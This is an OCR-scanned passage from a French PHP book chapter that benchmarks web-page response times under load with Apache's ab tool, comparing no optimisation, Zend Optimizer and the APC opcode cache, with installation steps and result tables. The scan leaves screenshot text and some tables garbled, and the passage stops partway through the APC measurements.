Bien que cette page aurait pu etre ecrite directement en HTML, sa constitution tire toutefois 
parti des avantages qu'offre PHP, puisque chaque element de la page (en-tete, menu gauche, 
menu droit, pied de page) est decrit dans un fichier qui lui est propre. Le tout est assemble par 
de simples "include". Les menus, quant a eux, sont decrits dans des classes (ce qui offre une 
grande facilite de mise a jour). 
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m Escape 6 



_ □ x 



Fichier Edition Afficher Rechercl" 



Signets Taches Aide 



rn; cedent 



Fleeter gei 



|.^ http;l/132.16S.:.1/;:'er-'C!i/;jh;;^ebgitejlndeKjJhp 



Super Title of my WebSite 



English 

iternl 

item I 1 



English 



1 1 is the defai j ft! im ite. This p i) f 

some include (not 

according to data stored in objects). There is no database access here, 

no included image, no included .ess file. 

As a cone lus ion. trie data are statics, only the building is dynamic. 




Fran^ais 



& -.& 



Ceci est la page par det'aut de ce s:xe de test. Cette page nest 
consituee que de quelques incIudeO (assez pen) . un pen de traitement 

i ntisson istn i i in ie donnees stockees 

dans des objets). Iln'y apascTacces a une base de donnees ici.pas 
d'irnage, pas de fichier .ess. 

En conclusion, les donnees sont statiques, seule I'assernblage est 
dynamique. 

Copyright (c) 2002 

Document : Termine (0.7 s) 



Figure 19.1 : La page quasi-statique 
Cette page fait 1 569 octets. 
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Chapitre 1 9 L'optimisation des temps de reponse 



La page dynamique 

La page dynamique est, quant a elle, totalement dynamique et est susceptible de changer a 
chaque appel, puisque son contenu est issu d'une base de donnees pouvant etre alimentee a 
tout moment. C'est le cas, par exemple, d'une page de resultats d'un moteur de recherche ou 
d'un forum. 

Nous utiliserons ici le site de petites annonces developpe au cours du chapitre Les bases de 
donnees. 

La quantite de donnees dans la base est limitee a 33 enregistrements, afin que la mesure ne 
porte pas trop sur la capacite de reponse de la base de donnees. 



m Typical website - Netscape 5 
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•''■ hltp:»1 32.1 63 1 i/oeixhjphr-'A^'ebsiieipiinncrxes peerjpsj 
Ureter ' 


► ■-■-! 














Super 

- Date + - Localite 

13/10/02 Dieppe 
30/09/02 Dieppe 
15/09/02 Yvetot 
02/09/02 Le Havre 
31 /O8/02 Rouen 
29/08/02 Le Havre 
25/08/02 Etretat 
12/08/02 Le Havre 
05/08 /Q2 Etretat 
27/07/02 Rouen 

Recherche par mot cl 


Title of my 

Les petites annonces 
f - Type + - Surface + - '. 
(m2) 

F4 92 
F3 100 
Studio 57 
F4 77 
Studio 21 
Studio 18 
F2 60 
F3 110 
F3 41 
F2 89 
12 3 4 


WebSite 

joyer + 

(euro) 






English 

iteml 
item2 

item9 


Franfais 

itemA 
itemB 

itemZ 












1064[df 


taill 


743df 


taill 


828 i 


taill 


249 J; 


■■' 


289 • 


taill 


886.-. 


taill 


2141[* 


taill 


781[de 


:.. 


1589:detaill 
Suivants 


e:|— 




Recherche | 


Copyright (c) 


2002 




| 'IS* V^ | D 


xurnent : Termine (0.929 s) 






1 




J=*^d" 



Figure 19.2: La page dynamique 
Cette page fait 8 850 octets. 



La page mathematique 

La page mathematique a pour objectif de realiser un grand nombre d'operations et de boucles, 
afin de veritablement sollicker le langage PHP lui-meme. En l'occurrence, nous avons choisi de 
realiser une fonction exponentielle qui effectue en boucle un grand nombre d'additions et de 
multiplications. 

Ce cas n'est pas veritablement representatif d'un site Internet. 
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m ; i website - Netscape 6 



|_ n x 



Fichier Edition Af fierier Rec here her Alter a Signets laches Aide 



-4 T It 

Pre ce dent Transferer 



II dH 



Re charger 



httrxffl 92. 1 68.1 .1 .kenchfehp/websiteJtaaih.php 



English 

iteml 
item2 

itern9 



Super Title of my WebSite 



The purpose of this page is only to compute a large number of 
instructions and to provide the value of exp(0.5) 

Cette page se contente d'effectuer un grand nombre d'operations, pour 

finallement calculer exp(Q.5). 




ei[p(0.5) = 1.6487212707001 



Copyright (e) 2002 



-£&■ \j& Document : Termine (0.464 s) 



J=*id 



Figure 19.3 : La page mathematique 
Cette page fait 1 082 octets. 
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Instrument de mesure 

Les mesures ont ete effectuees uniquement depuis le poste client (e'est done le cycle complet 
requete-reponse qui a ete mesure) grace a la commande ab fournie avec la version UNIX 
d'Apache. 

Cette commande permet (entre autres) de preciser le nombre de requetes a executer ainsi que 
le nombre de requetes concurrentes, et retourne (entre autres) le temps global d'execution et 
le nombre de requetes qui n'ont pu etre satisfaites. 

Dans chacun des cas etudies, nous avons systematiquement demande l'execution de 500 
requetes, et e'est done toujours sur le temps necessaire a la realisation de ces 500 requetes que 
nous avons etabli la comparaison. 

Les tests ont ete declines avec les niveaux de concurrence suivants : 1 (les tests sont done 
executes les uns apres les autres), 3, 5, 10, 50 et 100. 

Chaque test a ete renouvele plusieurs fois (au moins dix fois lors d'une session) et, afin d'ecarter 
tout doute, la plupart des sessions de test ont ete renouvelees deux fois a des dates differentes 
(avec redemarrage du systeme). II etait ainsi possible de de teeter une eventuelle perte de 
performance liee a une forte occupation memoire ou CPU par un programme externe lors du 
deroulement d'une des sessions. 



Presentation des mesures 

Les resultats des mesures (disponibles sur le CD-ROM) sont presentes sur un graphe 
accompagne d'un tableau donnant les valeurs numeriques. 
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Chaque mesure est representee par un point avec, pour ordonnee, la charge (le nombre d'acces 
concurrents) et, pour abscisse, le temps de reponse (temps total d'execution des 500 requetes, 
en secondes). 

Pour chaque niveau de charge, le temps moyen d'execution a ete calcule afin de tracer la courbe 
devolution du temps d'execution en fonction de la charge. 

Le graphe integre egalement (en arriere-plan et dans une autre echelle) le nombre moyen de 
requetes en echec. 

Notez que nous avons choisi une echelle logarithmique pour l'axe des abscisses (la charge). 



t^ff Gra P he 

~ Les graphiques ont ete realises grace a la bibliotheque jpGraph decrite en annexe de 

REMARQUE C£ Uvm 



19-3. En l'absence de solution d' optimisation 
Mesures 



Page quasi-statique 




Apache/1 .3.28 - Linux - PHP/4.3.0 - quasi-staticiue 


I < 
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0000 e 
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10 100 




Charge Cnb req. siniul.J 




]□ (20 tests en 2 series) 1 







Figure 19.4 : 

Temps de reponse 
d'unepage 
quasi-statique sans 
optimisation 



Tableau 19.1 : Temps de reponse sans optimisation d'une page quasi-statique 



Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simultanees 


secondes) 


minimum (en 
secondes) 


maximum (en 
secondes) 


echec 



7.96 
4.97 
4.88 
4.84 



5.87 
4.87 
4.78 
4.75 



15.23 
5.10 
4.98 
4.9 
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Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simultanees 


secondes) 


minimum (en 
secondes) 


maximum (en 
secondes) 


echec 



10 


4.85 


4.78 


4.9 


50 


4.86 


4.81 


4.91 


100 


4.92 


4.85 


5.17 







Nous observons un delai d'execution des 500 requetes bien plus long (+ 64 %) lorsque celles-ci 
sont emises les unes a la suite des autres (en comparaison avec plusieurs appels simultanes). 
Ceci n'a rien d'etonnant, et vous comprendrez aisement qu'un systeme concu pour traiter 
plusieurs taches en meme temps ne pourra optimiser son travail que si les demandes ne lui 
arrivent pas les unes apres les autres. 

Nous constatons egalement que le serveur ne souffre pas de la charge qui lui est imposee. II 
traite quasiment aussi rapidement les requetes qu'il y en ait 3 ou 100 simultanement (seule une 
tres legere augmentation du temps d'execution est observable a partir de 50 requetes 
simultanees). Et aucune requete ne tombe en erreur (elles sont toutes honorees par le serveur). 

Les resultats obtenus sont d'une tres bonne stabilite. Hormis le cas ou les requetes sont emises 
les unes apres les autres, les resultats obtenus d'un test a l'autre sont similaires (avec des 
variations maximales de plus ou moins 2 %, comme le montrent les temps maximum et 
minimum releves). 
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REMARQUE 



Comparatifavec les tests des editions precedentes 

Les tests realises dans les merries conditions mais avec Mandrake 8. 1, Apache 1.3.24, 
PHP 4. 2. 1 et MySQL 3 (sur le serveur) donnaient des resultats moins bons: de Vordre 
de 5, 8 secondes contre 4, 8 ici. Difficile de determiner quel est Velement (PHP?) qui a 
permis ce gain en performance de 20% d'une annee sur l'autre mais il est pourtant bel 
et bien reel. 



Page dynamique 



Acache/l.3.28 - Linux - PHP/4. 3.0 - dynaniiqut (mysql-pear) 



e 







i 100 

Charge (nb req. sirnul.) 



|[7] C20 tests en 2 series) 



Figure 19.5 : 

Temps de reponse 
d'une page dynamique 
sans optimisation 
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Tableau 19.2 : Temps de reponse sans optimisation d'une page dynamique 
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Nombre de 

requetes 

simultanees 


Temps total 
d'execution 


Temps total 
d'execution 
minimum 


Temps total 
d'execution 
maximum 


Nombre de 
requetes en 
echec 


1 


74.03 


73.29 


75.139 





3 


71.64 


70.47 


72.90 





5 


72.58 


71.66 


73.27 





7 


73.37 


72.60 


74.10 





10 


73.79 


73.00 


74.36 





50 


79.35 


78.24 


80.97 





100 


81.30 


78.96 


84.33 


moyenne 12.6 
minimum 1 
maximum 66 



Nous pouvons faire ici la meme remarque que precedemment concernant les requetes emises 
une a une. La encore, sans surprise, le temps total est plus long que lorsque les requetes sont 
traitees simultanement. 

Les temps d'execution sont, cette fois-ci, plus sensibles a la charge. A tel point que le serveur et/ou 
la base de donnees ne suivent plus lorsque Ton atteint les 100 requetes simultanees. Bien qu'ils 
soient represented sur le graphe, les temps mesures ne sont alors plus vraiment representatifs (il 
est plus rapide de dire "Non... je ne peux pas traiter ta requete" que de la traiter). 

L'impact de la charge se fait ressentir au-dela des 10 requetes simultanees. 

Les mesures ne laissent apparaitre qu'une faible variation (de l'ordre de 1 %) d'un test a l'autre. 

/£) Comparatifavec les tests des editions precedentes 

"**^ Les tests precedents donnaient egalement des resultats moins bons: de l'ordre de 91 

REMARQUE secondes contre 73 ici: soit un gain de 25%. 



Page mathematique 



" 50i 
I 40 



Apadie/1.3.28 - Linux - PHP/4. 3.0 - math 

000 



i 100 

Charge (rib req. siniul.) 



□ (20 tests en 2 series) I 



Figure 19.6 : 

Temps de reponse 
d'une page 
mathematique sans 
optimisation 
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Tableau 19.3 : Temps de reponse sans optimisation d'une page mathematique 



Nombre de 

requetes 

simultanees 


Temps total 
d'execution 


Temps total 
d'execution 
minimum 


Temps total 
d'execution 
maximum 


Nombre de 
requetes en 
echec 




1 


52.71 


49.05 


55.59 







3 


47.22 


46.70 


47.84 







5 


47.41 


46.63 


47.96 







7 


47.37 


46.73 


47.95 







10 


47.31 


46.47 


47.94 







50 


49.11 


48.28 


50.55 





CD ■ 


100 


49.36 


48.02 


51.88 





CO X3 



Nous ne reviendrons plus sur l'analyse des resultats obtenus lorsque les requetes sont emises les 
unes apres les autres pour nous concentrer sur le phenomene de charge. 

Tout comme avec le script precedent, ce test est sensible a la charge. Ainsi, le temps de reponse 
augmente au fur et a mesure qu'augmente la charge (de 3 a 100 requetes par secondes) 
exception faite d'un petit "accident" pour 5 requetes par secondes. Cependant, cette fois, meme 
avec 100 requetes par secondes, aucune requete ne tombe en erreur (laissant entendre que le 
role de la base de donnees dans la perte de tenue en charge n'est pas negligeable). Le temps 
total d'execution semble meme atteindre un palier de seulement 4 % superieur a la plus petite 
mesure relevee (pour trois acces concurrents). 

La encore, la stabilite des resultats obtenus est satisfaisante (des variations de plus ou moins 
2 % a peine). 



REMAR0JE 



Comparatif avec les test des editions precedentes 

Surprise! Les tests precedents donnaient de meilleurs resultats: de I'ordre de 42 
secondes contre 47 ici: soit une perte de 10%. 



Reste maintenant a voir ce que peuvent nous apporter les solutions d'optimisation. 



19.4. Avec Zend Optimizer 



Entre les versions 3 et 4 de PHP, il y a, semble-t-il, eu un gros effort concernant l'optimisation 
du compilateur PHP. Cependant, cela n'a pas empeche la societe Zend de proposer 
(gratuitement) un optimisateur de code appele Zend Optimizer. 



Description 



Cet optimisateur a pour objectif d'effectuer quelques traitements supplementaires sur le code 
genere, afin de le rendre encore plus rapide a l'execution. II va done de soi que l'utilisation de 
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1'optimisateur ne sera benefique que si le temps gagne a l'execution est superieur au temps 
perdu a effectuer le travail d'optimisation. 

Ce code est disponible gratuitement a l'adresse http://www.zend.com (en anglais). 

pour les systemes d'exploitation : 

■ Windows ; 

■ Linux glibc2.1 ; 
FreeBSD 3.4 et 4.0 ; 
Solaris Sparc ; 
IBM AIX Server. 

Mac OS X (pour PHP>=4.3.2) 

La version testee est la version 2.1.0 pour Linux compatible avec les versions de PHP>=4.0.5. 



*& 



Version 2.5 



La derniere version en date est la 2.5, elle supporte officiellement les versions de PHP 
REMARQUE al[ant de [a 4MJ a [a 5 _ ft QRC2 _ 



Installation 

Son installation est tres simple. 



Sous Windows 

Apres avoir telecharge la version de Zend Optmizer gratuitement sur le site officiel (http://www 
.zend.com), il suffit de lancer son installation et de suivre les etapes decrites ci-dessous. 

Tout d'abord, vous serez invites a lire et a accepter la licence. 

Figure 19.7 : 



Choose Destination Location 

Se!=c£ ioide: A>he:e Situa will insiall files. 



Seiup wiii insiall t_end Optimizer in ihe following foider 

To ins-tall to this folder, click Next To install ;c a different folder, click Browse and select 
another folder. 



Destination Folder 
C:\Prograrn Files^Zend 



Selection du repertoire 

d' installation 
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Puis vous pourrez selectionner le repertoire dans lequel vous souhaitez installer le logiciel. 

Figure 19.8 : 

Selection du repertoire 



InstallShield Wizard 



php ini location 



Confirm location ot php.ini 



php.ini 



Ensuite, vous devrez confirmer ou modifier le chemin du repertoire contenant le fichier php.ini 
utilise par votre serveur. Une fenetre vous precisera alors que l'ancien fichier php.ini a ete 
sauvegarde sous un autre nom. 

Figure 19.9 : 

C'est installe 
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Et voila c'est fait. 



Sous Linux 

II vous suffit de copier le fichier dans un espace temporaire (ex. : Itmp) et de le decompresses 
Vous aurez certainement besoin d'etre connecte en tant qu'administrateur (root) afin de 
pouvoir creer l'arborescence de Zend Optimizer (typiquement sous lusr/local). 

§ gunzip Zend0ptimizer-2.1.0b-Linux_glibc21-i386.tar.gz 

# tar xvf Zend0ptimizer-2.1.0b-Linux_gl ibc21-i386.tar 

# cd ZendOptimizer-2.1. Ob-Linux glibc21-i386 
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II suffit maintenant de lancer le script d'installation : 

# ./install .sh 

et de repondre correctement aux questions... 



Zend Dptiiizer 2.1.0 



welcome to the Zend Optimizer 2.1,0 Installation Script! 
For more information on this script, see the Installation 
section in the Zend Optimizer User Guide. 



Figure 19.10 : 

Fenetre d'accueil 



...apres avoir dit bonjour. Vous l'aurez compris, vous n'avez qu'a taper (Entree) . 
Vous etes ensuite invites a lire et accepter (ou non) la licence. 

Figure 19.11 : 

Chemin d'installation 



Tsrd Optimizer 2.1.0 

Specify the location where to install Zend Optimizer 



/usr/local/Zend_0ptimizer_2.1.0Q 



Indiquez ensuite le nom du repertoire dans lequel vous souhaitez installer Zend Optimizer. Par 
defaut, le script vous propose "/usr/local/Zend". N'hesitez pas a le changer pour "/usr/local/ 
Zend _Optimizer_2. 1.0". C'est fait ? Tapez sur [ Entree | . 



Zend Optinizer 2.1.0 

Enter the location of your php.ini file 



/usr/local/lipD 



Figure 19.12 : 

Chemin du fichier php.ini 



Vous etes maintenant invite a indiquer le chemin du repertoire contenant votre fichier php.ini. 
Par defaut, il s'agit du repertoire "/usr/local/lib". C'est bon ? Passons a la suite en tapant [ Entree | . 



Zend Optiitzer 2.1.0 

Pre you using flpache web server? 



I 



Figure 19.13 : 

Selection du serveur web 



Quelque peu indiscret, Zend Optimizer vous demandera si vous utilisez un serveur Apache ou 
non. Nous vous laissons repondre en votre ame et conscience. Toutefois, l'histoire ne dit pas ce 
qu'il se passe si Ton repond "No". Si vous avez la meme configuration que nous (ce qui est assez 
probable) vous aurez laisse la surbrillance sur "Yes" et tape [ Entree | . 
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Zend Optinizer 2.1.0 

Specify the Apache bin directory 



/usr/local/apache/binQ 
<Cancel> 



Figure 19.14 : 

Chemin du serveur web 



Une reponse appelant une question, vous devez a present indiquer le chemin du repertoire 
bin/ d'Apache (peut-etre /usr/local/apache/bin). Ne faiblissons pas... et effectuons une nouvelle 
pression sur la touche [ Entree | . 



Zend Optinizer 1.3.1 

Your php.ini is relocated to the /usr/local/Zend_0pt_1.3.1/etc directory 

and symbolic link from the former place /usn/lucal/Zend/etc/php.ini is created. 



Figure 19.15 : 

Deplacement de 
php.ini 



Cette fois, c'est pour nous signaler que le fichier php.ini a ete deplace de son ancienne position 
(hum ! oui, dans notre cas, il etait sous /usr/local/Zend/etc/ mais, habituellement, il se trouve 
sous /usr/local/lib) vers la nouvelle position /usr/local/Zend_Optimizer_2.1.0/etc/, et un lien 
symbolique a ete cree de l'ancienne vers la nouvelle. Une fois que vous avez pris connaissance 
de cette information, vous pouvez taper [ Entree | . 
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Zend uptinizer 2.1.0 

The installation was completed successfully. 

Tne. Zend Optimizer is ready for use. 

You must restart your Ueb server for the modifications to teke effect. 



Figure 19.16 : 

Fenetre defin 



Et voila... c'est pret. C'est quasiment le dernier appui sur la touche [ Entree | . 

Figure 19.17 : 

Redemarrage d'Apache 



Zend Optinizer 2.1.0 

Restart the Web server now? 



3S5E < No > 



I 



Vous etes maintenant invite a relancer le serveur Apache puis une page vous confirme le succes 
(ou non) de l'operation. 

Verification 

Une fois l'operation d'installation effectuee, vous pouvez verifier qu'elle s'est bien deroulee en 
appelant un script contenant simplement la ligne <?php phpinf o ( ) ; ?>. Vous devrez alors 
apercevoir le texte suivant : 



Thi:; program makes use of the Zenc: Scriritirir: Lanrsua.rse Erirsirie: 
Zend Engine v1 3 0, Copyright (c) 1998-2003 Zend Technologies with Zend Extension I 
Manager V1.0.0, Copyright re) 2003, by Zend Technologies with Zend Optimizer 
V2.1 .0, Copyright (c) 1 998-2003, hy Zend Technologies 



Figure 19.18 : phpinf o() 
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Chapitre 1 9 L'optimisation des temps de reponse 

L'indication "with Zend Optimizer" confirme le succes de 1'operation d'installation. 
Vous constaterez egalement la presence de six nouvelles lignes dans votre fichier php.ini. 

[Zend] 

zend_optimizer.optimization_level=15 

zend_extension=<chemin vers Zend Optirrn'zeur>/lib/ZendOptimizer.so 

zend_extension_manager.optimizer=<chemin> 

zend_extension_manager.optimizer_ts=<chemin> 

zend extension ts=<chemin> 
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Si vous souhaitez desactiver l'optimisateur Zend, il vous suffira de mettre ces quelques lignes en 
commentaire (en les faisant preceder d'un point-virgule). 



Mesures 



Page quasi-statique 



(! 



Apache/1.3.28 - Linux - PHP/4.3.0 - quasi-statique 



8 5 8 



-*-! 



Charge (nb req. siniul.) 



□ Sans optimisation (20 tests en 2 series) 
■ Zend Optimizer (20 tests en 2 series) 



Figure 19.19 : 

Temps de reponse 
d'unepage 
quasi-statique avec 
Zend Optimizer 



Tableau 19.4 : Temps de reponse avec Zend Optimizer d'une page quasi-statique 



Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simultanees 


secondes) 


minimum (en 
secondes) 


maximum (en 
secondes) 


echec 



1 


8.32 


6.34 


15.71 





3 


5.46 


5.29 


5.59 





5 


5.41 


5.20 


5.50 





7 


5.42 


5.18 


5.55 





10 


5.42 


5.17 


5.52 






50 


5.47 


5.19 


5.85 





100 


5.52 


5.27 


5.94 
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Avec Zend Optimizer 



Comme en l'absence de solution d'optimisation, les resultats sont quasiment independants de 
la charge (tout juste 2 % de plus que le minimum avec 100 requetes simultanees). 

Les resultats obtenus ont peu varie d'un test a l'autre. 

Mais, malheureusement, le resultat obtenu n'est absolument pas celui attendu. En effet, les 
temps de reponse ont ete augmentes de 12 % par rapport a une solution sans cache. "C'est quoi 
cette histoire?" nous direz-vous. En fait, il suffit de se rappeler le principe de fonctionnement de 
Zend Optimizer pour bien comprendre : comme cela a ete indique, Zend Optimizer retravaille 
le code genere pour l'optimiser et faire qu'il s'execute plus vite. Or, dans notre script de test, il 
y a relativement peu de code et probablement peu de solutions d'optimisation. En 
consequence, Zend Optimizer perd du temps a chercher a optimiser un code qui, semble-t-il, 
ne peut pas l'etre. D'ou des temps de reponses plus importants. 



Comparatif avec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et Zend Optimizer 1.3.1) donnaient des 
resultats moins bons: de I'ordre de 6,6 secondes contre 5,4 ici: Le gain obtenu en un 
an est done de 22%. 



REMARQUE 



Page dynamique 
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ABache/1.3.28 - Linux - PHP/4. 3.0 - dynamique (ftiysql-pear) 




10 100 

Charge (nb req. simul.) 



□ Sans optimisation (20 tests en 2 series) 
■ Zend Optimizer (20 tests en 2 series) 



Figure 19.20 : 

Temps de reponse 
d'unepage dynamique 
avec Zend Optimizer 



Tableau 19.5 : Temps de reponse avec Zend Optimizer d'une page dynamique 



Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simultanees 


secondes) 


minimum (en 
secondes) 


maximum (en 
secondes) 


echec 



1 


77.18 


75.78 


79.00 





3 


75.07 


73.88 


76.49 





5 


76.15 


74.58 


77.53 






7 


76.71 


74.75 


77.64 





10 


77.66 


76.03 


78.63 
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Chapitre 1 9 L'optimisation des temps de reponse 



Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simultanees 


secondes) 


minimum (en 


maximum (en 


echec 






secondes) 


secondes) 





50 
100 



83.73 
85.84 



83.23 
82.48 



84.83 
88.62 





Moyenne 14.35 
Minimum 7 
Maximum 69 
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Les temps de reponse sont, cette fois, dependants de la charge (comme ce pouvait etre le cas 
sans optimisateur). Ceci est plus particulierement sensible au-dela de 10 requetes par secondes. 
Finalement, nous avons des requetes en erreur lorsque 100 requetes sont envoyees 
simultanement (dans ce cas, le temps total d'execution n'est plus significatif). 

Les resultats obtenus restent legerement superieurs a ceux obtenus en l'absence d'optimisation. 
Nous pouvons done supposer que, dans ce cas, le gain en temps d'execution que procure le 
passage de l'optimisateur Zend est totalement absorbe par le temps supplementaire necessite 
pour cette operation. 

Les resultats obtenus sont relativement stables d'un test a l'autre. 



10 

REMARQUE 



Comparatifavec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et Zend Optimizer 1.3.1) donnaient des 
resultats moins bons: de I'ordre de 91 secondes contre 77 ici: Le gain obtenu en un an 
est done de 18%. 



Page mathematique 



Apache/l.3.28 - Linux - PHP/4.3.0 - math 







e 9 



-*— +++ 



10 100 

Charge Cnb req. siniul.) 



□ Sans optimisation (20 tests en 2 series) 
■ Zend Optimizer (20 tests en 2 series) 



Figure 19.21 : 

Temps de reponse 
d'unepage 
mathematique avec 
Zend Optimizer 
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Avec Zend Optimizer 



Tableau 19.6 : Temps de reponse avec Zend Optimizer d'une page mathematique 



Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simultanees 


secondes) 


minimum (en 
secondes) 


maximum (en 
secondes) 


echec 



35.78 



32.15 



40.33 



3 


29.83 


29.58 


30.11 





5 


30.00 


29.05 


31.08 





7 


29.93 


29.30 


30.48 





10 


29.70 


29.14 


30.16 





50 


30.88 


29.84 


32.10 





100 


31.12 


29.87 


32.30 






La encore, le temps de reponse depend de la charge. Mais, pour autant, le temps d'execution 
subit peu l'impact de la charge (au pire + 5 %) et, surtout, aucune requete n'est rejetee, meme 
pour 100 requetes simultanees. 

En revanche, pour une fois, le temps moyen d'execution est nettement inferieur a ceux obtenus 
sans optimisation, puisque le gain est de 36 %. Ceci tend a prouver qu'effectivement Zend 
Optimizer joue un role d'optimisateur (ce dont il etait possible de douter etant donne les 
premiers resultats). Ce script de test incluant de nombreuses boucles et operations, le temps 
passe a optimiser le code a done ete utile et a largement contribue a en accelerer l'execution. 

Cependant, les valeurs sont restees relativement stables d'une serie de test a l'autre. 
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REMARQUE 



Comparatifavec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et Zend Optimizer 1.3.1) donnaient des 
resultats moins bons: de I'ordre de 36 secondes contre 30 ici: Le gain obtenu en un an 
est done de 20%. 



Conclusion 

Si Ton considere que les resultats obtenus dans cette configuration de test sont representatifs, 
alors nous pouvons conclure que l'utilisation de Zend Optimizer ne se justifie pas (bien au 
contraire), excepte pour des sites tres particuliers sollicitant excessivement le langage PHP. 
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Chapitre 1 9 L'optimisation des temps de reponse 



19.5. Avec Alternative PHP Cache (APC) 
Description 

La solution retenue par APC consiste a mettre en cache (conserver en memoire) le resultat de 
la compilation (afin de ne pas avoir a renouveler les operations d'analyse et de compilation des 
scripts a chaque fois que ceux-ci sont appeles). 

APC est desormais disponible gratuitement sur le site (anglais) http:llpecl.php.net/apc. La der- 
niere version disponible est la 2.0.4 qui supporte officiellement les versions de PHP 4.2.2, 4.2.3, 
4.3.0 et 4.3.2. Elle a ete congue pour compiler sous Linux, FreeBSD, OpenBSD et MacOS 10.2 

Les tests ont ete realises avec une version de developpement disponible fin juillet 2003 
(supportant officiellement PHP 4.2.2, 4.2.3 et 4.3.0) qui n'est plus propose en telechargement 
mais dont vous trouverez un exemplaire sur le CD-ROM fourni. 

Installation 

Sous Linux 

Apres avoir copie l'archive (celle disponible sur le CDROM est baptisee apc-cvs_030731.tar.gz) 
dans un repertoire quelconque (disons lusr/local/src), vous devez la decompresser : 

# gunzip apc-cvs.tar.gz 

# tar xvf apc-cvs.tar 

Puis vous devez la compiler : 

# cd apc-cvs 

# /usr/local/bin/phpize 

# ./configure --with-php-config=/usr/local/bin/php-config 



JK Prendre le bon chetnin 

^^^ Nous supposons id, que PHP a ete installe sous lusr/locall et que par consequent, les 
ATTENTION commandes phpize et php-config se trouvent sous le repertoire /usr/local/bin. 

# make 

# make install 

Cette derniere instruction affiche le repertoire dans lequel vient d'etre installe le fichier apc.so. 

Modifiez votre fichier php.ini afin d'ajouter les lignes suivantes : 

[APC] 

zend_extension = <chemin affiche par make install>/apc.so 

II existe de nombreuses options mais, comme leur nom l'indique, elles sont facultatives. Nous 
ne les presenterons done pas ici. 

Pour desactiver le cache APC, vous pouvez mettre en commentaire ces lignes en les faisant 
preceder d'un point-virgule. 
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Avec Alternative PHP Cache (APC) 



Verification 

Une fois l'operation d'installation effectuee, vous pouvez verifier qu'elle s'est bien deroulee en 
appelant un script contenant simplement la ligne <?php phpinf o ( ) ; ?>. Vous devrez alors 
apercevoir le texte suivant : 



Tnie proyrern mehes uee of the Zend Stiiplin^ Le-nyuege Enqine 

Zrnfi engine vi 20, Corjyright (c) 1998-2002 Zend lechnobgiee 

with APC Caching v1. 1.0 CVS, Copyright (c) 2000-2001 Community Connect Inc., by Den Co^gill end 

George Schlosenagle 




Figure 19.22 : phpinfo() 

L'indication "with APC Caching" confirme le succes de l'operation d'installation. 

Mesures 

Page quasi-statique 

Figure 19.23 : 

Temps de reponse 
d'unepage 
quasi-statique avec 
APC 



Apache /l. 3. 28 - Linux - PHP/4.3.0 - quasi-statique 




10 100 

Charge (no req. siniul.) 



□ Sans optimisation C20 tests en 2 series) 
■ Cache APC (20 tests en 2 series) 
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Tableau 19.7 : Temps de reponse avec APC d'une page quasi-statique 



Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simultanees 


secondes) 


minimum (en 
secondes) 


maximum (en 
secondes) 


echec 



7.20 


2.60 


26.80 


Moyenne 49,9 
Minimum 
Maximum 499 


2.21 


2.10 


2.39 





2.19 


2.06 


2.54 






7 


2.16 


2.05 


2.32 





10 


2.13 


2.05 


2.21 





50 


2.11 


2.03 


2.22 





100 


2.13 


2.09 


2.23 
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La premiere grosse surprise a la lecture de ces resultats (et apres une rapide analyse) c'est de 
constater que systematiquement la premiere serie de test est tombee en erreur. Et nous n'avons 
malheureusement trouve aucune justification a ce phenomene. Nous mettrons done cela sur le 
fait qu'il s'agit d'une version en cours de developpement. 

Si Ton fait abstraction de ce probleme, nous pouvons constater que les temps de reponse sont 
extremement bons. Le gain est ici de 56 % par rapport a la version sans optimisation. APC 
demontre ici l'interet de mettre en cache le resultat de la compilation. 
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REMARQUE 



Comparatifavec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et APC de juin 2002) donnaient des 
resultats moins bons: de I'ordre de 5.1 secondes contre 2.1 ici: Le gain obtenu en un 
an est done de 59%. 



Page dynamique 



Aoache/l.3.28 - Linux - PHP/4. 3.0 - dynamique (niysql-pear) 


tr 90 

| 70 ( 
™ 60 

goo 






i 





t 


) 


















dJ M 




1 


^ 

1 




~ • — #-#- • * "^ 











10 

Charge (nb req. siniu 


10 

.) 







□ Sans optimisation (20 tests en 2 series) 
■ Cache APC (20 tests en 2 series) 















Figure 19.24 : 

Temps de reponse 
d'une page dynamique 
avecAPC 



Tableau 19.8 : Temps de reponse avec APC d'une page dynamique 



Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simullanees 


secondes) 


minimum (en 
secondes) 


maximum (en 
secondes) 


echec 



1 


23.75 


20.28 


31.30 





3 


19.26 


18.00 


20.07 






5 


19.31 


18.25 


20.35 





7 


19.67 


18.51 


20.59 





10 


20.00 


18.90 


20.75 





50 


21.32 


20.09 


22.02 





100 


22.13 


21.13 


23.50 
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Avec Alternative PHP Cache (APC) 



Le schema est a premiere vue identique aux resultats obtenus precedemment pour l'exemple 
dynamique. Les temps de reponse se trouvent augmentes au fur et a mesure que la charge croit, 
par contre, chose importante, le serveur ne se trouve pas sature et peux repondre a toutes les 
requetes. 

La, encore, APC prouve son efficacite en reduisant le temps de reponse par rapport a une 
solution non optimisee, avec un gain de 73 % (excusez du peu). 



REMARQUE 



Comparatif avec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et APC de juin 2002) donnaient des 
resultats moins bons: de I'ordre de 91 secondes contre 20 ici: Legain obtenu en un an 
est done de 78%. 



Page mathematique 
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Charge (nb req. siniul.) 



□ Sans optimisation (20 tests en 2 series) 
■ Cache APC (20 tests en 2 series) 

□ Zend Optimizer (20 tests en 2 series) 



Figure 19.25 : 

Temps de reponse d'une 
page mathematique 
